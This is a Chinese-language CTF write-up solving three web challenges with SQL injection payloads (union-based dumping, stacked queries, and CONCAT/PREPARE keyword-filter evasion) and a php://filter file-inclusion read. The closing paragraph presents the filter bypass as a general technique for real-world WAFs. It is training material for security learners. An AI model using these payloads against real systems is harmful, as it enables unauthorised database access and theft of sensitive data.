[极客大挑战 2019]LoveSQL

题目一个登录框,测试一下注入

用户名输入1' 密码输入aa

报错You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'aa'' at line 1我们看到aa被单引号包裹

后台拼接后的sql语句是SELECT * FROM users WHERE username = '1'' AND password = 'aa'

在用户名输入单引号会引发语法错误,判断为字符型注入

所以输入用户名1' OR 1=1 #,这个语句会绕过登录验证,让where条件永远为真,返回所有用户,但这里只回显第一行。我们获取到第一个用户的数据

成功拿到admin账户和密码

通过1' union select 1,2,3#查出来有三列,然后看回显,2和3的位置都可以回显

1' union select 1,2,database()#可以看到当前数据库为geek

1' union select 1,group_concat(table_name),database() from information_schema.tables where table_schema=database()#

看到第二位显示出了当前库中所有表名geekuser,l0ve1ysq1

1' union select 1,group_concat(column_name),database() from information_schema.columns where table_name='l0ve1ysq1'#可以看到第二位回显出l0velysql的列名

1' union select 1,group_concat(id,username,password),database() from l0ve1ysq1#即可看到flag

geekuser表同理查看,里面没有flag.

[极客大挑战 2019]Secret File

进入后查看页面源代码,发现有一个秘密文件的路径按钮,得知地址<a id="master" href="./Archive_room.php">Oh! You found me</a>

java_DdpnC2Wdad

在bp抓包发现有一个secr3t.php

看到页面

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

传入?file=flag.php,源代码嘲讽我们,他不给我们看

那我们直接?file=php://filter/convert.base64-encode/resource=flag.php

decode一下base64就可以拿到flag

[强网杯 2019]随便注

一进来都预写好了1,提交一下 回显

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

使用1’回显SQL错误,说明可以用’闭合

使用一下SELECT

回显

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

通过order by可以判断出有两列,在1' order by 3#的时候报错

1'; show databases;看到数据库

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
array(1) {
  [0]=>
  string(11) "ctftraining"
}
array(1) {
  [0]=>
  string(18) "information_schema"
}
array(1) {
  [0]=>
  string(5) "mysql"
}
array(1) {
  [0]=>
  string(18) "performance_schema"
}
array(1) {
  [0]=>
  string(9) "supersqli"
}
array(1) {
  [0]=>
  string(4) "test"
}

通过1'; show tables;看到表名

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}
array(1) {
  [0]=>
  string(16) "1919810931114514"
}
array(1) {
  [0]=>
  string(5) "words"
}

发现

1';show columns from `1919810931114514`;#

注意表名为纯数字的时候需要用反引号包裹

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

看到flag列

-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1-- q

利用concat拼接成功拿到flag

利用CONCAT动态拼接与PREPARE/EXECUTE实现SQL注入绕过

实际Web目标为了防止SQL注入,经常会对输入参数做敏感关键字过滤(如select、update等)。但通过MySQL的CONCAT和PREPARE/EXECUTE机制,可实现敏感关键字的动态拼接,从而绕过WAF拦截:

  1. 通过 CONCAT('s','elect flag from flag_table') 拼接SQL语句,绕过参数拦截。
  2. 用预编译语句 PREPARE stmt FROM @sql; EXECUTE stmt; 执行拼接语句。
  3. 最终可以拿到数据库敏感字段(如flag)内容,而不被WAF过滤阻止。

这种方法是CTF和实战环境中的“经典绕过技巧”,具有极高通用性与实用价值。